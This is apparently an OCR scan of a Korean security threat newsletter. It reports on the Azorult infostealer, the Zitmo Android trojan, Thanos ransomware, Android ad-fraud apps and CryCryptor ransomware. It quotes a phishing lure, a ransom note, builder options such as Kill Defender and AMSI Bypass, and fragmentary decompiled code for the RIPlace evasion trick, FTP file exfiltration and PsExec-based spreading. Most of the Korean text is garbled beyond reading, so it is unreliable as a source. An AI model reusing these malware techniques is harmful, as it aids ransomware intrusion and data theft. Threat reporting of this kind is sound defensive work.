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UANoT 217| 3 739 (12.1%)
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Q. Z|ALOl|A] RHE /R 22 2 EIR] Ci4d 2ot
NEE MNEEHAFLIN?
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® 2270}:1.276 209%)

Q. M/ A2 R X1 G AI(HIIHE
S9s1 FLI?
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® 2F5HX| QH=Ch: 2,192 (35.9%)
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AlefEsrd Yol Iy H AD|Y SOZ S YHS TS LIS TS F] L7 USLITE,

THEH/HATRE HASH= 2= 720N 7122 Rzt AXIHE2| 7HQ! HEE X|717] 2fch HEHE ZF Al A
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2210] UAO| EI07H= AHE 2 AJLH, 7I240) Kphtap JHOlo] S XI717| 9Io Hoto| B U2 L2t of2
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[Spyware.Infostealer.Azorult]
AEIC ZM HIIA

ﬂ

Z|2 ZLHOH| 4% % 2101 H|UZ ‘Spyware.Infostealer.Azorult (05} Azorult)7t SEE| 1T QICH ZZ4XE= 022
HLS Sali ALZKIOfA 2= PLO0T /S O AlshE RIS 'PLO0T QH0l= “Plexe A1 IR0 AL, 0|
AStSHA| £|H AREAH HEE EF[Sk= Azorult QPET 0| ZEEILL

E =
ORAIE]

2020-07-07 (3H 2= 547

anandg@rrgroupindia.co.in
PI

ng
1l
o

@naver.com

o Al x| G PI.OOT (194 KB)

Dear Sir,

As directed by our client, kindly confirm the attached proforma mnvoice by
giving the original signed copy for our record purpose.

Best Regards
J.k Sharma
Finance dpt.

Materials Management Division
RR GROUPS TRADING CO. PVT
4 Industrial Area Sahibabad - 201010

Uttar Pradesh INDIA
Phone: +91-120-2895844, 2805145

=g

0o

anandg@rrgroupindia.co.in =

|:| N

[22] ol 1A

‘Spyware. Infostealer.Azorult = C&COfl AFEX} PC HE = MAdst ZIH ID & &S £ S2XIQ| B0 M2t
HEIRX AKX HE SIAED| HE ASSHH X2 AR FTP, Mail, HIAK HE S AK2XI| CIfst MEE 2Esh=
e SH AHT 0|0,

MRt FET = ZES GIsh | floiM= EX71 S=2Tet Ho| U= HRIY H 250 ol ZS 710

oIC.

SiXl LM = slid 2 FEE ‘Spyware.Infostealer Azorult’” EfX| BOZ RITkSH1 QUOMH, 22 AA|

=AE M= Threat Inside BIMHIA =2 6| 21910| 7+s0iCt
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[Trojan.Android.Zitmo]
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YEE & + A20|, 0|0j CHSHA 442 Ofmst
HH Y U T E A GaLct

Ot & o

[F2]] HIAK| 2 HE Q7 A

ofid o Y2 THXQI B Ao = REHOM (2 49| SLS 0|80l 77| FHet =5, FAF, ZALHE
o

[=3 =
S= 2Floll SFIe HPHE S OIZ50 AD[MS F7I= HE0I0] IfsHS SRAZICE

%
=
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[[2fA], 2 HO=RE] TSHE Z|AstolY| PlehM= Bidl AS Sot F71KQ1 HAP ZSQ6ICL EX7F 2=kt
URL 2} U2 AIMSHX| 9h= 20| 7120(11 34! OFIRI 1= E2|0|AENE SoliA] =Est A0 [2tT A A4S F7}
HX[GIH F7|MO 2 AH|0|ESHL ZAIGHOF SHY.

SIXf kM M= SHE @S Trojan.Android.Zitmo' B[ HOZ RIHGI QoM 2 MM 24 1A= Threat
Inside BIAH|A F1=5 Sol| 2210] 7FS5Ct,
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HOIZ 231511 IER 7|7|2 XI=O=2 EMEl= Thanos 2AIgI0] 2A

Thanos ransomware auto—spreads to Windows devices, evades security

20| S7het QHE| 2lo] 2|If 7=l RIPlace 3! CtoFet 115 7|55 Aol Q= A Il 290121 Thanos 7}
HIZ4Z|0 =07} LQSIC} Thanos = 2019 14 10 2 7HO! HYIEE A|RIGHK|RH 2020 A 12 IIGHAEZ F Quimera 2HAI|010f]
et =22 Q%o | TIK= 2ol 2SotX| SAUCE A[ZH0] X[ 0] M2} O] 2d2|0f0] CHer === Ldok=
AEXIS0| HH S| A|RIBHOH 0] 2iM9|0f= 2= Hakbit O = AHE|RICE Recorded Future 2| A2 HI1A{0]|
=M 0| 02| O|F2 Thanos O] X[t 2 EHE 2{A|2 SHZ A MH|AS 2EY0](RaaS)2| HEH=

SHEET UALCL.

Thanos Ransomware Affiliate Program
n 2 Bnepea» OtcnexveaTl
AVATAR ” ; ; ; ;
Hi guys | am very pleased for the opportunity of being able to offer you my products and services. | have been developing
malware for many years and update my products frequently.
Nosophoros (J Thanos Private Ransomware Builder. Here some images:
CD-auck
SR B R s 1 LR GR  R D e T S B e SR e A Ao igos

17 s i

5 -f;:»:éj;;’»,{-’ AR S SR RS LTl Ve 4B TR IR B IS Y

8
Snghomny T e e B g S PR e e O
Ransomware Builder is designed for both individual attacks and companies attacks. These are the main characteristics of the
product:
--Main aspects.
--Low detection rates. Typically 2/26 without a crypter although its advisable to use it.

[O= 1617 == g0
[EX]] https:/ /www.recordedfuture.com/thanos—ransomware—builder/
Nosophorus 2f= SZXE | Thanos £ Z115H01 UUCH 0] 2HMAHE HHILEH SHFHRt AT E HiIEIAIE BEIGHC
— = J\J\ 5 = |- 5 k=3
HHEX = 2S 2L 2| 60-70%5 2=C}. Thanos RaaS 0f] 71iet Alg DIEH= HAE S/ HAMAUS

M5 4 Ql= Private Ransomware Builder0] CHEH FiZ 3t =Lt
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Private Ransomware Builder v. 2.2 - Date: 4/1/2020 9:27:48 AM

ion Options and Decoder

( Obfuscation \

|

( Create RSA Keys)

[

( Keyld Decoder \

| Static Pass [ Create Decryptor

~lcon, Wallpaper and Control FTP Settings

l | | |

[ FTP Logger:
Add lcon: o - l ]
Load lcon ) Walaper: [ ‘
Noicon
-Advanced Options
g Self-Delete Ransom [ Persistence - Mett ) pati-\i {1 Kill Defender (] AMSI Bypass [ Protect Process [} Immortal Process
O L ) memate Mgo ([ Deiy | |
"1 Random Assembly [ Deceiving Msg Vz UAC [ Unlook Files (| Prevent Sleep || Aoti-A/GAMWE
| ] | ) M. Fle sze: [ |
W Fast Mode MB @ Change Extension:

[| Delayed Activation:

() Enhanced Notifioations

~ ~Ransom|

il - 3
Coels foch B o HELP_ME_RECOVER_MY_FILES
~Extensions To Process PR aths 10 ENCiypse——
: Directories to Encrypt: | [auto]
! "dock","klsx","sxi","sxw'"!"odt", 'hwp ‘tar","bz2" "mky",""e
. ‘osr™" gpg ''aes", vsd udg “raw',"ne “[auto]"
s vdi", qilecb ‘accd! lav "mpeg ‘backup' p ‘cert”,"docm","slsm", dwg "bak","gbw", nd’
‘Hg 1gb pptx mnv xdu nds wav mp3 "aiff" ﬂac m4a csv sd ota mdr 'ldf ndf "'dtsx", rdI dim'”
[_| Encrypt Only One Extension
(EIear AJI: (| Only One Directory

806

Atention! all your important files were encrypted!
to get your files back send 3 Bitcoins and
contact us with proof of payment and your

Unique Identifier Key.
We will send you a decryption tool with your
personal decryption password.

Where can you buy Bitcoins:

https:/ /www.coinbase.com
https://localbitcoins.com

Contact: decrypt-my-data@protonmail. com.

Bitcoin wallet to make the transfer to is:

[ \alidate Bitcoin Address
[ BTC address to collect ransom

Ransom Note File Name:

[ 2] Thanos 2HML|0] &

[EX] https:/ /www.recordedfuture.com/thanos—ansomware—builder/

CHO= ZtdE HEA HREE2 2| Yotk A2 Thanos = B2 18 7IsS Z2
LIEE H|gSs} DI AR, THE TXIZ XIS 2R, S51E0] 2zt =[] 71=¢l

RIPlace QIE] 2AQ[0] S{TT] 7|22 ARRSH= & 2MI0|
201911 112, Nyotron ©] K10+ RIS A2 OFE| 2420} SIT| 71
24412017} DefineDosDevice S AI5101 TH2| 0}
Hetop BRG] RBMCHs S AT T BLER 7|
7K5517| H20| OFE| 2go] T2 IS 3[8 4 ULk

AlEZ] 2

O= - oT

SOl @77t 2YoHK|T OIF

2! RIPlace Of] CHSt
2|32 L5 242 O 2

SISkl Q

UL #of] 2

RIPlace S C{fet 7 IS—‘E’ E%.:."‘Ei

FELVIME &

= HZ |52

Rename & S50}/ £ DefireDosDevice(2lE2] 23 E Hdok= A ep)E S5 4R FRI 015 Y22
MEID o= M AZE EZIOZ MES 4 QICL MET7H= 0] 2SS S5l “XY” 7177 Ci\passwords it 'S
71217 |5 2 4= QURUCE

RIPlace = Callback §i4= ZIE| E210|H7} £5F 2EIQ| FitGetDestinationFileNamelnformation £ AF2E! I 2XX

IR0 A0HSL | THE0H| 2HSHTE. Ol= DosDevice Z=E HEE [ 0f24S LYAI7|X|ZH Rename S2 ’843—?_*
Thanos = 0] 7122 =RIeh 2 2RII0{0|Ck Of2h O[DIX[0AM =S 201+~ QUL
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https://www.recordedfuture.com/thanos-ransomware-builder/

bool do_the_riplace(string encrypted temp file path, string real_ fi

bool flag;

{

('RIPlaceClass.DefineDosDevice(1, "Resolve", string.Concat("\\??\\", real_file_path)))

flag se;

(cgShifmKOYCez.MoveFileExW(encrypted temp_file path, ~ -\\Resolve", 9))

125

[ 3] Thanos O] Af2El RIPlace 7 |=

[EX{| https://www.recordedfuture.com/thanos-ransomware-builder/

Nyotron A= 0] 7[&= 22t SIMO| S7HIKITE CHEES] 2AfIME= 0] 7122 0[2X Y #0|H *'HI S240IM
AEEIRE= 27| H=0H Z2I=|X| 4= Z0[2h EFHACE 2F Kaspersky 2+ Carbon Black 20| 0] 71== Ofldol==
ADEQIOE 85t A= LIEHICE D0 | =ARES| £ M2 0] 7ISHM= 0] 7|1&2 E1IAE°”OLF BHRI=[X]
PERACE SIX|2H OIO|F 24T E= RIPlace 7|&0] HRt MHIA 7|23 SZ0HA] ¢47| TR0 FIFHCZ 7R =
20|12 Bfe! HE QT

IRl Y 2 KPS ER 7 L
7

K|t 14 S HH0l= AREIS ==l | T TfohAe] DS WA SXi= TS ARSI SZX= TiohRIt
HHEHUZS XIZ0HK| = 22 H0|H 7= AOIES Sofl %! S S/HoRIHL ?jt—’.*?ﬂ'lh RO 2 TR EiFl=
SIA Q| BtRE MRS SX AL HA fIXIZ LIYS =522 SARSI0 0|F0{ZICt.

Thanos = ZREE Ysst A H4 FTPAR|EZ XSO = IAUS EF(Sh= fip file exfil) 7SS ILetolil JUUCE
CITRIES Trenos 7} 7|XOR doox, i, pef v IS SRIKIEH M THELL7} 90 AlIRIS west o
CI2 SARIS BRIOHES A5 4 0K At

= =2=oOo= T-
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webClient t())

webClient . ( edentials (pWChNZcvPGhAb, JUylUlXakkSI);

[] userName []1 { "UserName=", Environment.UserName, " Machi , Environment.MachineName, "_", Path.Ge me(cLTFCDMINWRC) };
webClient ( 9. (NXZTHHURHIKHp, string. Format( 9. t ) t[0])), "STOR", CLIFCDMINWRC);
}

[F13 4] LS O 1B 23 7 fs

[EX https://www.recordedfuture.com/thanos-ransomware—-builder/

Thanos = LIEE I B3| 715 012/0| HIERST &2 CHE 7|7 |= SHEIE S MItotH A|=gHt] Thanos 7t
AISHE|B 0= GitHub KRHAIA SharpExec 224 HOH E21S CI22ESIC 0| ShapExec 2 ISR HIZE PSExec
DZ)S AEol0] THEN0] A}IAUS CHE AFEO| Ak = Allisitt.

Scan Local

/’ Network for IP
() Addresses

ol();e— 0o | Download
SharpExec

if (I(text2 == NetworkSpreading.MyIP)) For each IP found, run the “PSEXEC"

command with the below options:
. -I= Remote Host IP
. -d=Domain Name
. -f=Local File to upload (a copy of
Thanos Client Assembly)
. -e=Execution path (Temp path with
random name)

[(13 5] AtSetE Bt HREZ| 2kt iy

[EX{|https://www.recordedfuture.com/thanos-ransomware-builder/

Mg TELS2 0] 7Is= Sali 717| e tE oidolt LIERIE &2 ChE 717 IS77HK] izeltet 4= QA =it siEE
AIEAPE =T EE|XiE B2 Dfok= G a2fe 20]Ct BleepingComputer = Thanos 7t AMH] Ci-E 22

S| HHE-ES 2f01sf 4= QUL
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S HELP_ME_RECOVER_MY_FILES.txt - Notepad?2 = O X |
Eile Edit View Settings 2 ‘
DEad| |t @ A E Q@R ‘
1 Hello frvid sfivadiutird: & Co. Ltd. , A1l your files on your 17 servers are currently Al

encrypted, you are allowed to try and decrypt, but you wont succeed, but if you want
to recover your files, email us below:

2

sContact: To: #issr ks rwioeipns] v

Ln1:9 COH Sel 0 686 bytes ANSI CR+LF INS Default Text

[22! 6] Thanes HAILLE

[EX|https://www.recordedfuture.com/thanos-ransomware-builder/

Lot as ofd3its7 H*.JSPI Flofl A1, JHER}, HEQUS2| BSS ELIEFok= A2 22N RUCt Ol=
0201 =234 RiPlace 2FE| 2H42I0] 7|== AHEfet Ao =2 AFECL.

r

[EX] https:/ /www.bleepingcomputer.com/news/security/ thanos-ransomware-auto-spreads—to-windows-devices-evades—security/
https:/ /www.recordedfuture.com/thanos-ransomware—builder/
https://go.recordedfuture.com/hubfs/reports/cta-2020-0610.pdf
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ofM OIEZ0|C i 2 HOt AZHS 25[5}7| QJsH AMTE H|EHS}

Malicious Android apps deactivated fraud code to bypass Google's security scans

720 ZI2 S2(0] 220{0flM 2fd 2H=Z0]|= 0fS=AHI0KY TS MU, 0] 2fd ¥S2 A==0|E
AOEZUM LIS Al Bet@A 2|TEES alfet Ao = LIETITY.

O] 2t HS WZ4510] =201 HESH White Ops S2 0] 10| 25 SUSHHZE| 70| ISt o= HOICH
SISiCt GRS 0] 2E0| AKIA H0E BAlGH | TIoH QIEZ0|= M A
W2 AATC LHHIM 2 OHERO] 7|52 HIZMSIoleE ™= AOE HOICHT BISiCt Ol ¢ S2 4 59l
il

S0lM 712 S20] AE0Q| HOt AZHS 23[o}| 2ot Ao= FZFICL.

2019'4 1 & &3 AlXfH
White Ops = 0] Z150] 20194 1 28H S SH0|AE00| YS HZEol0] EES AR BTt 0]
LUS Sall 2d ¥ Z 3871 S 21 717t rE‘E1IOI£0101I HEEEACE O] A= 25 A7 EE, AZAL AL CHfet

TE| M2 S 0|87 BT FHS AR

0| EX|=|H ASAH= ‘?5* ZES S| E|, 22101 1171 BA|El= EtX7} QEE|H 4 0l0I2S =7
=2

SR RS MAE o= A== ottt SHAIZH O] 2 12| HuWSkK = U 7122| 27| 2|RE Sifet 20l= 2=
Oto|X{ol ZioZ2 E*XIEIO*EF White Ops = 0| &S0| 2E0{0IA HMAZ7| T Tt 17 & S M= LEIRCIL
HRACL

App Pub Date & Lifespan

m yoroko powerful artwork
comsolu selfie.peau . cemers
uty.selife. tecamers

2

Ny besuty.camers
selfe.Izndy.c amern

Publish to Removal Span

Chart 1 - Apps lifespan from installation to removal
Source: White Ops Satori Threat Intelligence and Research Team

[EX{| https://www.whiteops.com/blog/beauty-and-the-fraud-beast

ofX|Zh 17 2Z2| B2 7RI =%t 0] ¥ & tEE2 Tt 2R == 565,833 21 7IF3C
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https://www.whiteops.com/blog/beauty-and-the-fraud-beast

X 72 He HEd
ofX|Zt I50] Z7|0f| SSFet WS 20| AEHC=Z AL 0|52 TES HEol| AR 2029E 9 &, 0]
52 W0l E1 ZEH TS 7(7] it 2 71K LS RHEHRUC R t'.JJUKHE OH°I AATE LY TS AAX[0f 0f3*01

ZAIE AFEdk= AO0IC. 0] Ot0[C|0f= S0 Ll OFE0 EXES At8ol 7122 2HA AX|L 07t &y 7SS
l

T = AET =S 26| M7foh= 0|t 2019 9 & 0|2 = 0] 2852 g E11 EE 7IsS HIEkd=let RE
H 157/0S P2=ok=rct BRI ATES2 0| Y2 7 [SXO=" Mok X! HEHOIX|Tt -357—17(}7 t K= Ol
%= YL0|ES Soll AIT=E 71 o UL AECE ofX|THO| 2 LT SAXPH AN 21017 | THE0]
T2 22H49| 0|R= 0152 M

White Ops Off M= 2019 H 1 & 50| 23S AR 012 2bd ¥ 38 /= 2 1T 2 Ol 2= =R THE
2I=20|= 0= JI01 St H| WSS [ TICHK] FulstK| 450l B BF2 ok} 2Tt ofd & =52 PDF
IFUOYA ZHR1SF 4= QUTE White Ops 2] HIIMOIN TS XbA[SH LIES &R1gf 4= Ut

[EX]] https:/ /www.zdnet.com/article/ malicious-android-apps—deactivated—fraud-code—to-bypass-googles—security-scans/
https:/ /mww.whiteops.com/blog/beauty-and-the-fraud-beast
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New ransomware masquerades as COVID-19 contact-tracing app on your Android device

HZLtHIO[HA THE|9] MEHS ofESH MZR M0 HE0| HIRLE[L QUCH ESET TS 0] A7 FHLICE
X5 (Health Canada)ollA "EEXt =X ZAL 421 ‘COVID Alert S HESIZICHT WHSHK| o HE S2E ARIE|ICHT
SIRICE A AR FA CFF T = ASKIS0A 370E OFZ0IUXITE A0 SHAIS2 0[215 FE WHE
or=2510] FHLICHe] ZAl FRLE19 MEK} =X RAL HOZ QJRISH M OIE 20| M HYELS | AJRISHT T

ESET 2 Health Canada 2| 8 ¥o= 2fEret 2d 0] ZAIO|E 2 X0 BHEE|ICHLT S1RACE SFX[2H Siki= 01
27} AEf21 =MHIQ1 2 3291 racershield[Jca & covid19tracer] Jca = CHREE 2 MX|E A IEZ0|= 717(0f
CryCryptor HEYOIE MAX[Sk= APKE SAESIL! U Ao 2 LIEIGILE GHHLHSE EIH ALKt

@ReBensk 2| EXIZ Sali 0| HH0E LARCE 0] EX2 oiiH APK 7t Wi EZ0|=0E &7|11 ATt

BUIKIRE, =71 Z=AL 21t 0] 2AET == HEAZ BioiXiCh

AEZ0|= AEAP 2| EHIRICZRH APK & 22 = AX[olH, g3 s T tigh B2 Hets

QST PNG S ZaIH % i KRP}HES TS ASEEY| ASICE, TS AES U 2Kt 16 742 0|20f!
318 AZlo] SHESIEI 2LB5} RIZEIR ENC 2 ngm S}, QI551E TRI0| EXfoH= SCIOKH LIS
QTBH= BAE II0| MAEICE ESET 2 0] B0 CHSt =55} £S DIt AZIHOM GitHub O SIHC

2RI0H= MITRE © “SA{EI5H QI 20|S ZTAE LYSILYY[(CWE-926) HIS 302 M 0[2i3 ZZ0]
THSUCE HTRSS 0] U0 AFIE GitHub S LT 4= QUSICE O] HA0I| A 68 11 UE TH
AMEARICH ESETS THLAPE O] QEAA OHTCE (yDroid 2 HHHOH 917 T2HE Qa5 AlEICHD
el

0| ZRHET} 017 SHO[2H= 0| SOIE 4 QICL M2 U= TS oK BHOR £ AR 4 U=

£= 2| S/HoHX| 4= 0(7| THZ0|CE”

[EX] https:/ /www.zdnet.com/article/ new—crycryptor-ransomware-mascuerades—as—covid-19-contact-tracing-app-on-your-device/
https:/ Mmmwwelivesecurity.com/2020/06/ 24/ new-ransomware-uses—covid 19-tracing-guise-target-canada—eset-decryptor/

https://github.com/eset/ cry—decryptor
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